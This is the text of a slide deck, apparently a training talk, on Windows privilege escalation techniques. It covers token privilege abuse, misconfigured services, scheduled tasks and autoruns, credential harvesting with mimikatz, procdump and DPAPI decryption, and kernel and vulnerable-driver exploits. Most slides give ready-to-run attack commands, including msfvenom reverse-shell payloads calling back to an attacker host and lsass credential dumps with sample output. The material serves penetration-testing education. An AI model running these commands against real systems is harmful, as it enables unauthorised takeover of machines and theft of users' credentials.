

Windows privilege escalation

becoming 4dm1n1str4t0r (and/or SYST3M)

Jeffrey Bencteux

August 13, 2025

Outline

1 Introduction

- disclaimer
- objectives

2 Some recon

3 Excessive privileges

- User token
- AlwaysInstallElevated

4 Wrong permissions

- StartUp folder overwrite
- Scheduled tasks
- Services
- Autoruns binaries

5 Credential harvesting

- Saved credentials

- Installation files

- Registry copies

- Console history

- Processes

6 Userland exploits

7 Kernel exploits

- Exploits

- Vulnerable drivers

8 Miscellaneous

- DLL hijacking

- Creating user programmatically

9 Conclusion

Outline

1 Introduction

- disclaimer
- objectives

2 Some recon

3 Excessive privileges

4 Wrong permissions

5 Credential harvesting

6 Userland exploits

7 Kernel exploits

8 Miscellaneous

9 Conclusion

Outline

1 Introduction

- disclaimer
- objectives

2 Some recon

3 Excessive privileges

4 Wrong permissions

5 Credential harvesting

6 Userland exploits

7 Kernel exploits

8 Miscellaneous

9 Conclusion

Disclaimer

Disclaimer

- mostly generic techniques
- not an exhaustive list

Disclaimer

Disclaimer

- mostly generic techniques
- not an exhaustive list
- not a CVE catalog

Disclaimer

Disclaimer

- mostly generic techniques
- not an exhaustive list
- not a CVE catalog
- no antivirus/EDR bypasses

Disclaimer

Disclaimer

- mostly generic techniques
- not an exhaustive list
- not a CVE catalog
- no antivirus/EDR bypasses
- very little OPSEC

Outline

1 Introduction

- disclaimer
- objectives

2 Some recon

3 Excessive privileges

4 Wrong permissions

5 Credential harvesting

6 Userland exploits

7 Kernel exploits

8 Miscellaneous

9 Conclusion

Objectives

- acquiring privilege escalation methodology on Windows systems
- learning the most-used generic techniques

Outline

- 1 Introduction
- 2 Some recon
- 3 Excessive privileges
- 4 Wrong permissions
- 5 Credential harvesting
- 6 Userland exploits
- 7 Kernel exploits
- 8 Miscellaneous
- 9 Conclusion

Basic instinct

- unusual files/folders in C:
- local users
- local groups (especially administrators)
- local services
- drives
- installed applications

Basic instinct

example

```
PS> whoami /all
PS> net user
PS> net localgroup Administrators
PS> ls c:\
PS> netstat -ano
PS> wmic logicaldisk get caption
PS> reg query HKLM\Software
```

Outline

- 1 Introduction
- 2 Some recon
- 3 Excessive privileges
 - User token
 - AlwaysInstallElevated
- 4 Wrong permissions
- 5 Credential harvesting
- 6 Userland exploits
- 7 Kernel exploits
- 8 Miscellaneous
- 9 Conclusion

Privileged groups

- Current user member of Administrators
- ... well, well.

Outline

- 1 Introduction
- 2 Some recon
- 3 Excessive privileges
 - User token
 - AlwaysInstallElevated
- 4 Wrong permissions
- 5 Credential harvesting
- 6 Userland exploits
- 7 Kernel exploits
- 8 Miscellaneous
- 9 Conclusion

Impersonating tokens

- abusing `SeImpersonatePrivilege`
- can impersonate anyone's token on a local system
- multiple ways of triggering it: Print Spoofer, (Rotten—Juicy—Rogue)Potatoe, RogueWinRM...

Print Spoofer

- prerequisite: user has SeImpersonatePrivilege
- print spooler is enabled

example

```
PS> whoami /priv  
PS> ls \\<host>\pipe\spoolss
```

Print Spoofer

- <https://github.com/itm4n/PrintSpoofer>

example

```
PS> .\PrintSpoofer.exe -i -c powershell.exe
```

Print Spoofer custom

- less spotted by Microsoft Defender
- run a fake printer server on a shell
- run SpoolSample¹ on another

example

```
PS 1> .\MyPrintSpoofer.exe  
PS 2> .\PrintSample <host> <host>
```

¹<https://github.com/leechristensen/SpoolSample>

Arbitrary read

- abusing SeBackupPrivilege
- read any file on the system
- e.g. create copies of SAM
- extract privileged credentials from the backup

example

```
PS> reg save HKLM\SAM SAM
PS> reg save HKLM\SECURITY SECURITY
PS> reg save HKLM\SYSTEM SYSTEM
$ secretsdump.py -sam SAM -security SECURITY -system SYSTEM
  local
```

Arbitrary write

- abusing SeRestorePrivilege
- write any file on the system
- e.g. write existing service image path²

example

```
PS> SeRestoreAbuse.exe <payload>
```

²<https://github.com/xct/SeRestoreAbuse>

Arbitrary write

example

```
int main()
{
    ...
    HKEY hkey;
    RegCreateKeyExA(
        HKEY_LOCAL_MACHINE,
        "SYSTEM\\CurrentControlSet\\Services\\SecLogon",
        ...
        &hkey
    );
    ...
    RegSetValueExA(
        hkey,
        "ImagePath",
        ...
        my_value,
        my_value.length() + 1
    );
    ...
}
```

Take the ownership

- abusing SeTakeOwnershipPrivilege
- change owner of arbitrary resource
- change ACL of previous resource
- e.g. do the previous on SAM and SECURITY bases

example

```
PS> takeown /f "C:\windows\system32\config\SAM"  
PS> icacls "C:\windows\system32\config\SAM" /grant <user>:F
```

Debug

- abusing SeDebugPrivilege
- debug higher integrity-level process
- e.g. dump and grep lsass.exe memory

example

```
PS> procdump.exe -accepteula -ma lsass.exe lsass.dump  
mimikatz # sekurlsa::minidump lsass.dump  
mimikatz # sekurlsa::logonpasswords
```

Outline

- 1 Introduction
- 2 Some recon
- 3 Excessive privileges
 - User token
 - AlwaysInstallElevated
- 4 Wrong permissions
- 5 Credential harvesting
- 6 Userland exploits
- 7 Kernel exploits
- 8 Miscellaneous
- 9 Conclusion

AlwaysInstallElevated

- grants privileges on application during installation
- not the default configuration on modern systems

example

```
PS> req query HKLM\SOFTWARE\Policies\Microsoft\Windows\
    Installer /v AlwaysInstallElevated
PS> req query HKCU\SOFTWARE\Policies\Microsoft\Windows\
    Installer /v AlwaysInstallElevated
```

AlwaysInstallElevated

- forge a MSI installer and execute it

example

```
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=<host>  
      LPORT=<port> -a x64 -f msi -o rogue.msi  
PS> .\rogue.msi
```

Outline

- 1 Introduction
- 2 Some recon
- 3 Excessive privileges
- 4 Wrong permissions**
 - StartUp folder overwrite
 - Scheduled tasks
 - Services
 - Autoruns binaries
- 5 Credential harvesting
- 6 Userland exploits
- 7 Kernel exploits
- 8 Miscellaneous
- 9 Conclusion

Outline

- 1 Introduction
- 2 Some recon
- 3 Excessive privileges
- 4 Wrong permissions
 - StartUp folder overwrite
 - Scheduled tasks
 - Services
 - Autoruns binaries
- 5 Credential harvesting
- 6 Userland exploits
- 7 Kernel exploits
- 8 Miscellaneous
- 9 Conclusion

Startup folder overwrite

- folder of automatically started applications after machine boot
- executed as SYSTEM

example

```
PS> icacls "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
```

StartUp folder overwrite

- create a malicious exe and place it in StartUp
- reboot (needs SeShutdownPrivilege)

example

```
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=<host>  
LPORT=<port> -a x64 -f exe -o rogue.exe  
PS> cp rogue.exe "C:\ProgramData\Microsoft\Windows\Start  
Menu\Programs\Startup"
```

Outline

- 1 Introduction
- 2 Some recon
- 3 Excessive privileges
- 4 Wrong permissions
 - StartUp folder overwrite
 - Scheduled tasks
 - Services
 - Autoruns binaries
- 5 Credential harvesting
- 6 Userland exploits
- 7 Kernel exploits
- 8 Miscellaneous
- 9 Conclusion

Scheduled tasks

- wrong permissions given to binaries/scripts used by privileged scheduled tasks

example

```
PS> schtasks /query /fo LIST /v
PS> icacls <bin>.exe
PS> ls C:\Windows\Tasks
```

Scheduled tasks

```
PS C:\Users\winte> schtasks /fo CSV /v | findstr "SYSTEM"
"WIN", "\Microsoft\Windows\NET Framework\NET Framework NGEN v4.0.30319", "N/A", "Ready", "Interactive/Background", "7/23/2024 1:15:54 PM", "0", "N/A", "COM handler", "N/A", "N/A", "Enabled", "Disabled", "Stop On Battery Mode, No Start On Batteries", "SYSTEM", "Disabled", "02:00:00", "Scheduling data is not available in this format.", "On demand only", "N/A", "N/A", "N/A", "N/A", "N/A", "N/A", "N/A", "N/A"
"WIN", "\Microsoft\Windows\NET Framework\NET Framework NGEN v4.0.30319 64", "N/A", "Ready", "Interactive/Background", "7/23/2024 1:15:54 PM", "0", "N/A", "COM handler", "N/A", "N/A", "Enabled", "Disabled", "Stop On Battery Mode, No Start On Batteries", "SYSTEM", "Disabled", "02:00:00", "Scheduling data is not available in this format.", "On demand only", "N/A", "N/A", "N/A", "N/A", "N/A", "N/A", "N/A", "N/A"
"WIN", "\Microsoft\Windows\NET Framework\NET Framework NGEN v4.0.30319 64 Critical", "N/A", "Disabled", "Interactive/Background", "2/4/2025 3:33:38 PM", "0", "N/A", "COM handler", "N/A", "N/A", "Disabled", "Disabled", "", "SYSTEM", "Disabled", "02:00:00", "Scheduling data is not available in this format.", "At idle time", "N/A", "N/A", "N/A", "N/A", "N/A", "N/A", "N/A", "N/A", "N/A", "N/A", "N/A", "N/A"
"WIN", "\Microsoft\Windows\NET Framework\NET Framework NGEN v4.0.30319 Critical", "N/A", "Disabled", "Interactive/Background", "2/4/2025 3:33:38 PM", "0", "N/A", "COM handler", "N/A", "N/A", "Disabled", "Disabled", "", "SYSTEM", "Disabled", "02:00:00", "Scheduling data is not available in this format.", "At idle time", "N/A", "N/A", "N/A", "N/A", "N/A", "N/A", "N/A", "N/A", "N/A", "N/A", "N/A", "N/A"
"WIN", "\Microsoft\Windows\AppID\PolicyConverter", "N/A", "Ready", "Interactive/Background", "1/18/2024 1:52:46 PM", "0", "Microsoft Corporation", "%windir%\system32\appidpolicyconverter.exe", "N/A", "Converts the software restriction policies policy from XML into binary format.", "Enabled", "Disabled", "", "SYSTEM", "Disabled", "72:00:00", "Scheduling data is not available in this format.", "On demand only", "N/A", "N/A", "N/A", "N/A", "N/A", "N/A", "N/A", "N/A", "N/A", "N/A", "N/A", "N/A"
```

Scheduled tasks

- change legit binary/script with a rogue one
- wait for or provoke task execution

example

```
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=<host>  
      LPORT=<port> -a x64 -f exe -o rogue.exe  
PS> cp rogue.exe C:\some\legit\path\to\<bin>.exe
```

Outline

- 1 Introduction
- 2 Some recon
- 3 Excessive privileges
- 4 Wrong permissions**
 - StartUp folder overwrite
 - Scheduled tasks
 - Services
 - Autoruns binaries
- 5 Credential harvesting
- 6 Userland exploits
- 7 Kernel exploits
- 8 Miscellaneous
- 9 Conclusion

Services

- unquoted paths
- wrong permissions on services' configurations
- wrong permissions on binaries

example

```
PS> wmic service get name,displayname,pathname,startmode |  
findstr /i "auto" | findstr /i /v "c:\windows"
```

Services

```
PS C:\Users\winte> wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows"
Microsoft Edge Update Service (edgeupdate)                edgeupdate
    "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /svc
    Auto
Microsoft Defender Core Service                             MDCoreSvc
    "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.24060.7-0\MpDefenderCoreService.exe"
    Auto
SQL Server VSS Writer                                       SQLWriter
    "C:\Program Files\Microsoft SQL Server\90\Shared\sqlwriter.exe"
    Auto
Microsoft Defender Antivirus Service                       WinDefend
    "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.24060.7-0\MsMpEng.exe"
    Auto
```

Unquoted path

- Windows wizardry on path resolution
- if there is a space in a folder name and you can write on that part of the path, it is vulnerable
- drastically reduced impact since unprivileged users cannot write to C:\ by default anymore

example

```
# Path is C:\Program Files\Legit Company\whatever.exe  
PS> cp rogue.exe "C:\Program Files\Legit.exe"
```

Service configuration

- any attribute of the configuration can be changed: executing user, binary path
- change user to a privileged one and path to a rogue binary
- restart the service or reboot the machine

example

```
PS> sc.exe qc myservice
PS> sc.exe config myservice obj= "LocalSystem"
PS> sc.exe config myservice binpath= "C:\path\to\rogue.exe"
```

Service binary

- change legit binary with a rogue one
- restart service or reboot machine

example

```
PS> sc.exe qc myservice  
BINARY_PATH_NAME : "C:\some\legit\path\to\<bin>.exe"  
PS> icacls C:\some\legit\path\to\<bin>.exe  
PS> cp rogue.exe C:\some\legit\path\to\<bin>.exe
```

Service binary path

- stored in HKLM\System\CurrentControlSet\Services\<service>\ImagePath
- if you can write a service key, replace the ImagePath to point to a rogue binary

example

```
PS> reg query HKLM\System\CurrentControlSet\Services /s /v  
ImagePath
```

Outline

- 1 Introduction
- 2 Some recon
- 3 Excessive privileges
- 4 Wrong permissions**
 - StartUp folder overwrite
 - Scheduled tasks
 - Services
 - Autoruns binaries
- 5 Credential harvesting
- 6 Userland exploits
- 7 Kernel exploits
- 8 Miscellaneous
- 9 Conclusion

Autoruns

- registry entries describing application to be started automatically when Windows starts

example

```
PS> reg query HKLM\Software\Microsoft\Windows\CurrentVersion  
    \Run  
PS> reg query HKLM\Software\Microsoft\Windows\CurrentVersion  
    \RunOnce  
PS> reg query HKLM\Software\Wow6432Node\Microsoft\Windows\  
    CurrentVersion\Run  
PS> reg query HKLM\Software\Wow6432Node\Microsoft\Windows\  
    CurrentVersion\RunOnce  
...
```

- change legit binary/script with a rogue one

example

```
PS> reg query HKLM\Software\Microsoft\Windows\CurrentVersion  
    \Run  
LegitStuff REG_EXPAND_SZ C:\some\path\to\legit.exe  
PS> icaccls C:\some\path\to\legit.exe  
PS> cp rogue.exe C:\some\path\to\legit.exe
```

Outline

- 1 Introduction
- 2 Some recon
- 3 Excessive privileges
- 4 Wrong permissions
- 5 Credential harvesting**
 - Saved credentials
 - Installation files
 - Registry copies
 - Console history
 - Processes
- 6 Userland exploits
- 7 Kernel exploits
- 8 Miscellaneous
- 9 Conclusion

Outline

- 1 Introduction
- 2 Some recon
- 3 Excessive privileges
- 4 Wrong permissions
- 5 Credential harvesting**
 - Saved credentials
 - Installation files
 - Registry copies
 - Console history
 - Processes
- 6 Userland exploits
- 7 Kernel exploits
- 8 Miscellaneous
- 9 Conclusion

Credential Manager

- Credential Manager of Windows
- reuse cached credentials

example

```
PS> cmdkey /list  
PS> runas /savecred /user:WHATEVER\Administrator cmd.exe
```

Winlogon

- default credentials for logon
- occur often on shared machines in companies/shops

example

```
PS> reg query "HKLM\SOFTWARE\Microsoft\Windows NT\
CurrentVersion\Winlogon" /v (DefaultUserName|
DefaultPassword)
```

DPAPI

- Yet another Windows vault
- logon password → master keys → app secrets

example

```
# list secrets
PS> ls -hidden $env:localappdata\Microsoft\credentials
# list master keys
PS> ls -hidden $env:appdata\Microsoft\Protect\<SID>

mimikatz # dpapi::cred /in:"%localappdata%\Microsoft\
credentials\<keyid>"
mimikatz # dpapi::masterkey /in:"%appdata%\Microsoft\Protect
\<SID>\<keyid>" /unprotect OR /password:<user_pass> OR /
rpc
mimikatz # dpapi::cred /in:"%localappdata%\Microsoft\
credentials\<key>" /masterkey:<privkey>
```

DPAPI - Credential Manager

Credential Manager

← → ▾ ▴ > Control Panel > User Accounts > Credential Manager

Control Panel Home View and delete your saved logon information for websites, connected applications and networks.

 **Web Credentials**

 **Windows Credentials**

[Back up Credentials](#) [Restore Credentials](#)

Windows Credentials [Add a Windows credential](#)

No Windows credentials.

Certificate-Based Credentials [Add a certificate-based credential](#)

No certificates.

Generic Credentials [Add a generic credential](#)

server01 Modified: Today ^

Internet or network address: server01

User name: john

Password:

Persistence: Local computer

[Edit](#) [Remove](#)

DPAPI - Listing keys

```
PS C:\Users\nopriv> ls -hidden C:\Users\nopriv\appdata\local\microsoft\credentials
```

Directory: C:\Users\nopriv\appdata\local\microsoft\credentials

Mode	LastWriteTime	Length	Name
-a-hs-	2/11/2025 12:43 PM	448	676F6BF85237BED17601DF105F01A9BB
-a-hs-	2/11/2025 11:29 AM	11568	DFBE/0A/E5CC19A398EBF1B96859CE5D

DPAPI - Getting associated master key ID

```
mimikatz # dpapi::cred /in:C:\Users\nopriv\appdata\local\microsoft\credentials\676F6BF85237BED17601DF105F01A9BB
**BLOB**
dwVersion      : 00000001 - 1
guidProvider    : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
dwMasterKeyVersion : 00000001 - 1
guidMasterKey   : {f57204cc-28d2-480d-81f1-7a522d2e5bf5}
dwFlags        : 20000000 - 5368/0912 (system ; )
dwDescriptionLen : 00000030 - 48
szDescription    : Local Credential Data

algCrypt        : 00006610 - 26128 (CALG_AES_256)
dwAlgCryptLen    : 00000100 - 256
dwSaltLen       : 00000020 - 32
pbSalt          : 3e7ed171d2389b121f382674697b11e112862e1262a6caec093adebfff6228d68
dwHmacKeyLen     : 00000000 - 0
pbHmacKey       :
algHash         : 0000800e - 32782 (CALG_SHA_512)
dwAlgHashLen     : 00000200 - 512
dwHmac2KeyLen    : 00000020 - 32
pbHmac2Key       : 30db451c648fe55ee6a587f6d9ba8813af23531e975bb4c5ea0ef83c47f98517
dwDataLen       : 000000b0 - 176
pbData          : 2572f7d8f017499c823c88581e51103185df6bc787d719a99f03d5bc2f019e52362f76c6a2a4536a00599d6cf72
36c069136089bd73d23b9d4a2f6c413b0ad587d435893caa1374c0551d72ae46b77d93be2d03210d60074b69868f2c66878a9d486c3bc90e2e
dwSignLen       : 00000040 - 64
pbSign          : 2037ab3824e179903c9592cebfffd712545b5b4e2cc077282b6dbecbca4e3614bac04d9d819f043be43d1b4c375
```

DPAPI - Listing master keys

```
PS C:\Users\nopriv> ls -hidden C:\Users\nopriv\AppData\Roaming\Microsoft\Protect\S-1-5-21-2485873820-72476996-3678490278-1005\
```

Directory: C:\Users\nopriv\AppData\Roaming\Microsoft\Protect\S-1-5-21-2485873820-72476996-3678490278-1005

Mode	LastWriteTime	Length	Name
-a-hs-	2/11/2025 11:29 AM	468	f57204cc-28d2-480d-81f1-7a522d2e5bf5
-a-hs-	2/11/2025 11:29 AM	24	Preferred

DPAPI - Decrypting master key (with user password)

```
mimikatz # dpapi::masterkey /in:C:\Users\nopriv\AppData\Roaming\Microsoft\Protect\S-1-5-21-2485873820-72476996-3678490278-1005
\5f7204cc-28d2-480d-81f1-7a522d2e5bf5 /password:P0ssw0rd
**MASTERKEYS**
dwVersion      : 00000002 - 2
szGuid         : {5f7204cc-28d2-480d-81f1-7a522d2e5bf5}
dwFlags        : 00000005 - 5
dwMasterKeyLen : 000000b0 - 176
dwBackupKeyLen : 00000090 - 144
dwCredHistLen  : 00000014 - 20
dwDomainKeyLen : 00000000 - 0
[masterkey]
**MASTERKEY**
dwVersion      : 00000002 - 2
salt           : 2d6874c0a25b31f7ba1db21d45d9217c
rounds         : 00001f40 - 8000
algHash        : 0000800e - 32782 (CALG_SHA_512)
algCrypt       : 00006610 - 26128 (CALG_AES_256)
pbKey          : 7629104128eb63df0194b8b132b8f3392ade23b6dd3018532edc12688a9bbc28f3989fb8eb76141f7b383d713359ffba0ace3bc
126342b56c7c9367de0ca75f70e4142e414baea927da98c948e802f1b2540167e64602e1b71f441088626311b620490aec1af543442a58b5b7ae9f2dddde70
89f761da0765c39805e0c41a4302fe24dad27ae2c8be8eb49119e6a23
[backupkey]
**MASTERKEY**
dwVersion      : 00000002 - 2
salt           : cd382bb67f7a1493a16ebf0c180980b5
rounds         : 00001f40 - 8000
algHash        : 0000800e - 32782 (CALG_SHA_512)
algCrypt       : 00006610 - 26128 (CALG_AES_256)
pbKey          : 7f35783f9fc0ee0ce3987546ff794569e12148ab44990ba06b3f0e07820e97d1bab09c9a5ce48e1b937e7267003390687f6b19f
870887df851c037f5b9c909807668a3850f311ac91e4bb0fba486ab6bb4ecdede63113189ac4bb30868683bf66d6dccc959cac9422a4f5ebad06bef6b
[credhist]
**CREDHIST INFO**
dwVersion      : 00000003 - 3
guid           : {cdb86ae3-20e5-4839-b897-28f9fb6ded6e}

Auto SID from path seems to be: S-1-5-21-2485873820-72476996-3678490278-1005

[masterkey] with password: P0ssw0rd (normal user)
key : 4aed789f10fff3cbcd57abfe4c261952698395f9cb33933fa3d00e96e465e1d9c1abf8f31262036bb7663b9017c1b1lad200fe363d441fd70103
4e85b31bfc
sha1: 343a6f1153ca31e8aef8fecdb8164f9d6650c22c
```

DPAPI - Decrypting target key

```
mimikatz # dpapi::cred /in:C:\Users\nopriv\appdata\local\microsoft\credentials\676f68f852378ED17601DF105F01A988 /masterkey:4a
d789f10fff3cbcd57abfe4c9261952698395f9cb33933fa3d00e96e465e1d9c1abf8f31262036bb7663b9017c1b11ad200fe363d441fd701034e85b31bfc
**BLOB**
dwVersion : 00000001 - 1
guidProvider : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
dwMasterKeyVersion : 00000001 - 1
guidMasterKey : {f57204cc-28d2-480d-81f1-7a522d2e5bf5}
dwFlags : 20000000 - 536870912 (system ; )
dwDescriptionLen : 00000030 - 48
szDescription : Local Credential Data

algCrypt : 00006610 - 26128 (CALG_AES_256)
dwAlgCryptLen : 00000100 - 256
dwSaltLen : 00000020 - 32
pbSalt : 3e7ed171d2389b121f382674697b11e112862e1262a6caec093adebff6228d68
dwHmacKeyLen : 00000000 - 0
pbHmacKey :
algHash : 0000800e - 32782 (CALG_SHA_512)
dwAlgHashLen : 00000200 - 512
dwHmac2KeyLen : 00000020 - 32
pbHmac2Key : 30db451c648fe55ee6a587f6d9ba8813af23531e975bb4c5ea0ef83c47f98517
dwDataLen : 000000b0 - 176
pbData : 2572f7d8f017499c823c88581e51103185df6bc787d719a99f03d5bc2f019e52362f76c6a2a4536a00599d6cf721c4e36185f8
c29ee290c9124d663faadcb9a55d5fb4c31f4d0a03fec76f2f31587420a61f32ac1e6484ef34101d1f0073aed513c0995a808e464f3e7fdf71635df61cd2
0436c069136089bd73d23b9d4a2f6c413b0ad587d435893caal374c0551d72ae46b77d93be2d3210d60074b69868f2c66878a9d486c3bc90e2e2e4d5dd
dwSignLen : 00000040 - 64
pbSign : 2037ab3824e179903c9592cebfff712545b5b4e2cc077282b6dbecbca4e3614bac04d9d819f043be43d1b4c3757dd73c8c5c9
d0b294e80f8bc310bf48ef3d7

Decrypting Credential:
* volatile cache: GUID: {f57204cc-28d2-480d-81f1-7a522d2e5bf5}; KeyHash: 343a6f1153ca31e8aef8fecdb8164f9d6650c22c; Key: available
* masterkey : 4aed789f10fff3cbcd57abfe4c9261952698395f9cb33933fa3d00e96e465e1d9c1abf8f31262036bb7663b9017c1b11ad200fe36
d441fd701034e85b31bfc
**CREDENTIAL**
credFlags : 00000030 - 48
credSize : 000000a8 - 168
credUnk0 : 00000000 - 0

Type : 00000001 - 1 - generic
Flags : 00000000 - 0
LastWritten : 2/11/2025 11:43:07 AM
unkFlagsOrSize : 00000010 - 16
Persist : 00000002 - 2 - local_machine
AttributeCount : 00000000 - 0
unk0 : 00000000 - 0
unk1 : 00000000 - 0
TargetName : LegacyGeneric:target=server01
UnkData : (null)
Comment : test
TargetAlias : (null)
UserName : john
CredentialBlob : 1337P@ss
Attributes : 0
```

Outline

- 1 Introduction
- 2 Some recon
- 3 Excessive privileges
- 4 Wrong permissions
- 5 Credential harvesting**
 - Saved credentials
 - Installation files
 - Registry copies
 - Console history
 - Processes
- 6 Userland exploits
- 7 Kernel exploits
- 8 Miscellaneous
- 9 Conclusion

answer files

- "Answer file": installation file really
- Windows look for it at specific locations
- file name is supposed to be `unattend.xml` or `autounattend.xml`

example

```
PS> Is %WINDIR%\Panther\Unattend %WINDIR%\Panther %WINDIR%\
System32\Sysprep %SYSTEMDRIVE%
```

Outline

- 1 Introduction
- 2 Some recon
- 3 Excessive privileges
- 4 Wrong permissions
- 5 Credential harvesting**
 - Saved credentials
 - Installation files
 - Registry copies
 - Console history
 - Processes
- 6 Userland exploits
- 7 Kernel exploits
- 8 Miscellaneous
- 9 Conclusion

Registry copies

- usually forgotten by sysadmins
- extract creds from it

example

```
PS> gci -path C:\ -recurse -filter SAM  
PS> gci -path C:\ -recurse -filter SYSTEM
```

Outline

- 1 Introduction
- 2 Some recon
- 3 Excessive privileges
- 4 Wrong permissions
- 5 Credential harvesting**
 - Saved credentials
 - Installation files
 - Registry copies
 - Console history
 - Processes
- 6 Userland exploits
- 7 Kernel exploits
- 8 Miscellaneous
- 9 Conclusion

PowerShell history

- stored on a per-user basis
- look for passwords on command line

example

```
PS> (Get-PSReadLineOption).HistorySavePath  
C:\Users\<user>\AppData\Roaming\Microsoft\Windows\PowerShell  
  \PSReadLine\ConsoleHost_History.txt
```

PowerShell extra logs

- used for detection/IR
- also contains portions of the executed scripts
- scripts often contain clear-text secrets

example

```
PS> reg query HKLM\Software\Policies\Microsoft\Windows\
PowerShell\ModuleLogging
PS> Get-WinEvent -LogName "windows powershell" | select -
First 20 | out-gridview
PS> reg query HKLM\Software\Policies\Microsoft\Windows\
PowerShell\ScriptBlockLogging
PS> Get-WinEvent -LogName "Microsoft-Windows-Powershell\
Operational" | select -First 20 | out-gridview
```

Custom cleartext secrets

- user files with cleartext secrets
- "it was more handy" full-of-secrets
text/word/excel/notepad++ files
- automatize³

example

```
PS> ls C:\Users\<user>\ C:\Users\<user>\Documents C:\Users\<user>\Downloads ...
PS> sauroneye.exe -d C:\Users\<user>\ --filetypes .txt .doc .docx .xls .xlsx --contents --keywords "passw" -v
```

³<https://github.com/vivami/SauronEye>

In-clear secrets

```
PS C:\Users\winte\Downloads> .\SauronEye.exe -d C:\Users\winte --filetypes .txt .doc .docx .xls --contents --keywords passw -v

=== SauronEye ===

Directories to search: C:\Users\winte
For file types: .txt, .doc, .docx, .xls
Containing: passw
Search contents: True
Search Office 2003 files for VBA: True
Max file size: 1024 KB
Search Program Files directories: False
Searching in parallel: C:\Users\winte
[*] Done searching file system, now searching contents
[+] C:\Users\winte\Documents\admin.txt:
    ...user: admin
password: @dmln...

Done. Time elapsed = 00:00:00.1215546
PS C:\Users\winte\Downloads>
```

Outline

- 1 Introduction
- 2 Some recon
- 3 Excessive privileges
- 4 Wrong permissions
- 5 Credential harvesting**
 - Saved credentials
 - Installation files
 - Registry copies
 - Console history
 - Processes
- 6 Userland exploits
- 7 Kernel exploits
- 8 Miscellaneous
- 9 Conclusion

Command line

- look for credentials on process command-line

example

```
PS> Get-WmiObject win32_process | select CreationDate ,  
    ProcessId ,CommandLine| ft -AutoSize
```

Memory dump

- requires that target process has same integrity-level/owner
- look for credentials in process memory
- dump and grep

example

```
PS> procdump.exe -accepteula -ma <proc_name>
```

Outline

- 1 Introduction
- 2 Some recon
- 3 Excessive privileges
- 4 Wrong permissions
- 5 Credential harvesting
- 6 Userland exploits**
- 7 Kernel exploits
- 8 Miscellaneous
- 9 Conclusion

Userland exploits

- depend on workstation/client patching level
- check Microsoft vulnerabilities first (standard)
- identify third-party software (more prone to vulnerabilities)

example

```
PS> systeminfo  
PS> reg query HKLM\Software
```

- vulnerability in Windows Client-Side Caching (CSC) service
- PoC available⁴, patched
- in short: wrong access permissions for CSC service, can be abused with symlinks

⁴<https://github.com/michredteam/PoC-26229>

MS stuff - CVE-2024-26238

- vulnerability in Microsoft PLUGScheduler: part of RUXIM, Reusable UX Integration Manager, used by Windows Update
- technique is public⁵
- in short: arbitrary write file as SYSTEM because of poor ACL on C:\ProgramData\PLUG\Logs

⁵<https://www.synacktiv.com/en/advisories/windows-10-plugscheduler-elevation-of-privileges>

Outline

- 1 Introduction
- 2 Some recon
- 3 Excessive privileges
- 4 Wrong permissions
- 5 Credential harvesting
- 6 Userland exploits
- 7 Kernel exploits**
 - Exploits
 - Vulnerable drivers
- 8 Miscellaneous
- 9 Conclusion

Outline

- 1 Introduction
- 2 Some recon
- 3 Excessive privileges
- 4 Wrong permissions
- 5 Credential harvesting
- 6 Userland exploits
- 7 Kernel exploits**
 - Exploits
 - Vulnerable drivers
- 8 Miscellaneous
- 9 Conclusion

Disclaimer

Disclaimer

- impact on production
- not always reliable

Kernel exploits

- also depend on workstation/client patching level

Kernel exploits

- also depend on workstation/client patching level
- badly written third-party drivers (very usual): antivirus, specific hardware...
- identify third-party drivers

Kernel exploits

- also depend on workstation/client patching level
- badly written third-party drivers (very usual): antivirus, specific hardware...
- identify third-party drivers
- badly written MS drivers (usual): graphical, handling of specific devices...

Kernel exploits

- also depend on workstation/client patching level
- badly written third-party drivers (very usual): antivirus, specific hardware...
- identify third-party drivers
- badly written MS drivers (usual): graphical, handling of specific devices...
- core OS vulnerabilities (rarer, more impact): network stack...

Patch level

- identify CPU architecture, kernel version and patch level

example

```
PS> systeminfo
```

- WannaCry and NotPetya exploit
- RCE in SMBv1 stack. Not really a LPE but can serve as such.
- old systems (Windows Vista, Windows Server 2008 R2)
- many PoC available⁶

⁶<https://github.com/3ndG4me/AutoBlue-MS17-010>

mskssrv.sys - CVE-2023-36802

- vulnerability in Microsoft Kernel Streaming Server (`mskssrv.sys` driver) used for virtualisation and sharing of camera devices⁷
- PoC available⁸
- in short: object type confusion on calls to IOCTL functions operating on stream objects

⁷<https://securityintelligence.com/x-force/critically-close-to-zero-day-exploiting-microsoft-kernel-streaming-service>

⁸https://github.com/xforcered/Windows_MSKSSRV_LPE_CVE-2023-36802

Outline

- 1 Introduction
- 2 Some recon
- 3 Excessive privileges
- 4 Wrong permissions
- 5 Credential harvesting
- 6 Userland exploits
- 7 Kernel exploits**
 - Exploits
 - Vulnerable drivers
- 8 Miscellaneous
- 9 Conclusion

- local administrator → SYSTEM (or `seLoadDriverPrivilege`)

Drivers

- local administrator → SYSTEM (or `seLoadDriverPrivilege`)
- list installed drivers
- compare to known-vulnerable list⁹
- load an old (signed) vulnerable driver and exploit it (Bring Your Own Vulnerable Driver [BYOVD])

⁹<https://www.loldrivers.io>

Drivers

- local administrator → SYSTEM (or seLoadDriverPrivilege)
- list installed drivers
- compare to known-vulnerable list⁹
- load an old (signed) vulnerable driver and exploit it (Bring Your Own Vulnerable Driver [BYOVD])
- AV editors have blacklists

example

```
PS> driverquery.exe /fo table
```

⁹<https://www.loldrivers.io>

Drivers

- give a registry key to NTLoadDriver()
- reg key contains the driver configuration: ImagePath, Type
- tools available doing just that¹⁰

example

```
NTSTATUS NTLoadDriver(  
    _In_ PUNICODE_STRING DriverServiceName  
);
```

```
PS> EOPLOADDRIVER.exe System\\CurrentControlSet\\MyService C  
:\\Users\\public\\rogue.sys
```

¹⁰<https://github.com/TarlogicSecurity/EoPLoadDriver> 

Outline

- 1 Introduction
- 2 Some recon
- 3 Excessive privileges
- 4 Wrong permissions
- 5 Credential harvesting
- 6 Userland exploits
